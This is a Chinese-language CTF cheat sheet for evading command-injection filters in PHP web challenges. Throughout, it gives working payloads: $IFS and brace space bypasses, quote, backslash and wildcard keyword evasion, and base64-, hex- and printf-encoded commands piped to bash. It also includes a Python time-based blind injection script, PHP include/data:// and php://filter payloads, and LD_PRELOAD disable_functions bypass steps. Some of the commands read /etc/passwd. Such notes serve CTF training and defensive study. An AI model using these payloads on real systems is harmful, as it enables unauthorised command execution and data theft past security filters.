空格过滤绕过:
1、大括号{}:
{cat,flag.php}
2、$IFS代替空格:
$IFS$9,${IFS},$IFS这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l
3、重定向字符<,<>
4、%09绕过(相当于Tab键)
文件名过滤绕过:
1、??,*绕过
passthru代替system,过滤flag文件名用?,*绕过
cat /fl??
cat /f* #多个匹配结果同时展现
以上指令等效于cat /flag
2、单引号(')双引号("")反引号(``)绕过正则
cat /fl""ag
c""at /e't'c/pas``s``wd
对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错
passthru('cat /fl""ag.p\'\'hp')
3、反斜杠\绕过
\特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜线\会自动帮你去掉,正常执行命令
cat fl\ag.p\hp
4、特殊变量:$1到$9、$@和$*
这些特殊变量输出为空
cat /fl$9ag
cat /fl$@ag
或者在单词结尾处插入$x,这里的x可以是任意字母,例如可以写成如下形式:
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x
5、内联执行绕过
a=c;b=a;c=t;$a$b$c /1.txt
a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)
6、利用linux中的环境变量
使用环境变量里的字符执行变量
echo $PATH #PATH默认系统环境变量
如果出现:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示了flag.php
比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php
常见文件读取命令绕过:
1、base64编码:
cat flag.php--> Y2FOIGZSYWcucGhw
echo Y2FOIGZsYWcucGhw | base64 -d
管道符|把前面指令执行的结果,变成后面指令的参数,所以这里会解码读取命令
执行命令的话有三种形式:
echo Y2FOIGZsYWcucGhw | base64 -d | bash
$(echo Y2FOIGZsYWcucGhw | base64 -d)
`echo Y2FOIGZsYWcucGhw | base64 -d` #反引号
把cat flag.php,放在bash里执行,同理想换成什么命令就base64编码后替换
2、base32编码同理
?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
3、HEX编码(ASCII编码)
python脚本
import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)
tac flag--> 74616320666c6167
echo "74616320666c6167”|xxd -r -p|bash
xxd: 二进制显示和处理文件工具。
-r-p将纯十六进制转储的反向输出打印为了ASCII格式
bash、sh、/bin/bash、反引号等
?cmd=passthru('echo "74616320666c6167”|xxd -r -p|bash');
4、shellcode编码(16进制的机器码)
?cmd=passthru('printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');?cmd=passthru('`printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"`');
?cmd=passthru('$(printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');
读取命令被绕过:
比如说过滤了cat,在这之前先分清
cat flag.php
是用于在终端上显示当前目录下名为flag.php
的文件的内容。
cat /flag
是用于在终端上显示根目录下名为flag
的文件的内容。
cat flag
是用于在终端上显示当前目录下名为flag
的文件的内容。
正常来说flag放在根目录下,不过也可能是在当前网页目录下
别的指令也同理
1、tac:反向显示,从最后一行开始往前显示
tac /flag
2、more:一页一页显示档案内容
more flag.php
3、less:与more类似
4、tail:查看末尾几行
5、nl:显示的时候,顺便输出行号
nl /flag
nl /flag
和 nl flag
是不同的。
在 Linux 系统中,nl
命令用于给文件添加行号。当使用 nl /flag
命令时,/flag
被视为一个文件路径,并将该文件的内容输出到标准输出(通常是终端),并在每一行前添加行号。如果 /flag
文件存在且有读取权限,那么 nl /flag
将会给该文件的内容添加行号。
而当使用 nl flag
命令时,flag
被视为一个相对于当前目录的文件路径。也就是说,nl flag
命令将会尝试在当前目录下找到名为 flag
的文件,并给其内容添加行号。(不过flag一般在根目录)
6、od:以二进制方式读取档案内容。正常的od /flag输出的纯纯二进制
想看到文件内容需要:
passthru("od -A d -c /fla\g");
7、xxd:读取二进制文件
xxd /flag
8、sort:主要用于排序文件
so?t /flag
/usr/bin/s?rt /flag
/usr/bin/sort
和 sort
实际上是同一个命令。/usr/bin
目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort
命令通常就存放在 /usr/bin
目录中,因此/usr/bin/sort /flag
和 sort /flag
是等价的。有时候sort不行可能/usr/bin/s?rt可以
9、uniq:报告或删除文件中重复的行,其实当成cat用就行
10、file -f:报错出具体内容
passthru("file -f /flag");
11、grep:在文本中查找指定字符串
passthru("grep fla /fla*");
grep fla /fla*
命令会匹配根目录下所有以 fla
开头的文件(不包括子目录),然后将这些文件中包含字符串 fla
的行输出到终端上。因此,这个命令会搜索根目录下以 fla
开头的所有文件,并匹配其中包含 fla
字符串的行。
而 grep fla fla*
命令中 fla*
是当前目录下以 fla
开头的所有文件的通配符,它会匹配当前目录下所有以 fla
开头的文件,然后将这些文件中包含字符串 fla
的行输出到终端上。因此,这个命令只会搜索当前目录下以 fla
开头的文件,并匹配其中包含 fla
字符串的行。
无回显时间盲注:
逻辑和SQL注入的时间盲注差不多
相关命令:
1.sleep
sleep 5 #5秒之后返回结果
2.awk:逐行获取数据
3.cut -c
cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1 #获取第一个字符
cat flag | awk NR==2 | cut -c 2 #获取第二个字符
4、if语句:判断命令是否执行
if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
if里的判断语句为真的话,则执行sleep 2,休眠2秒后返回结果
时间注入脚本:
import requests
import time
url ="http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5): //定义i、j、k三个变量
for j in range(1,10):
for k in range(32,128): //ascii码表
k=chr(k) //把ascii码转换成字母,HEX编码变成字符
time.sleep(0.1) //i定义读取1-5行,i定义读取1-55个字符
payload = "?cmd=" + f"if[ `ls | awk NR=={i} | cut -c {j}`=={k}];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k //把值加入result,print输出显示
print(result)
break
result += ""
获取GET/POST参数绕过:
pyload1:?c=include%0a$_POST[a]?>
post:a=data://text/plain,<?php eval(system("tac flag.php"))?>
pyload2:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
pyload3: c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
pyload4:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
LD_ PRELOAD绕过(函数很多被ban/disable_functions限制/open_basedir限制):
前置知识:程序的链接
静态链接: 在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。
动态链接: 假如程序动态加载的函数是恶意的,就有可能导致disable function被绕过。
原理:
LD_PRELOAD,修改库文件,它可以影响程序的运行时的链接 (Runtime linker) ,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库,使用自己的或是更好的函数 (无需别人的源码)也可以向别人的程序注入恶意程序。
绕过条件:
1、能够上传自己的.so文件;
2、能够控制环境变量的值 (设置LD_PRELOAD变量),比如putenv函数并且未被禁止
3、存在可以控制PHP启动外部程序的函数并能执行 (因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()(php内嵌了)、imap mail()、mb send mail()和error log()等
这里粘贴一篇文章里的内容:
无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户
通常来说,导致 webshell 不能执行命令的原因大概有三类:一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;二是 web 进程运行在 rbash 这类受限 shell 环境中;三是 WAF 拦劫。若是一则无法执行任何命令,若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。为验证,我利用前面的 RCE 漏洞执行 phpinfo(),确认的确如此:
有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
步骤:
1、生成一个我们的恶意动态链接库文件
2、利用putenv
设置LD_PRELOAD为我们的恶意动态链接库文件的路径
3、配合php的某个函数去触发我们的恶意动态链接库文件
4、RCE并获取flag
蚁剑:
选择LD_PRELOAD或者PHP7_GC_UAF后点击开始,即可开始命令执行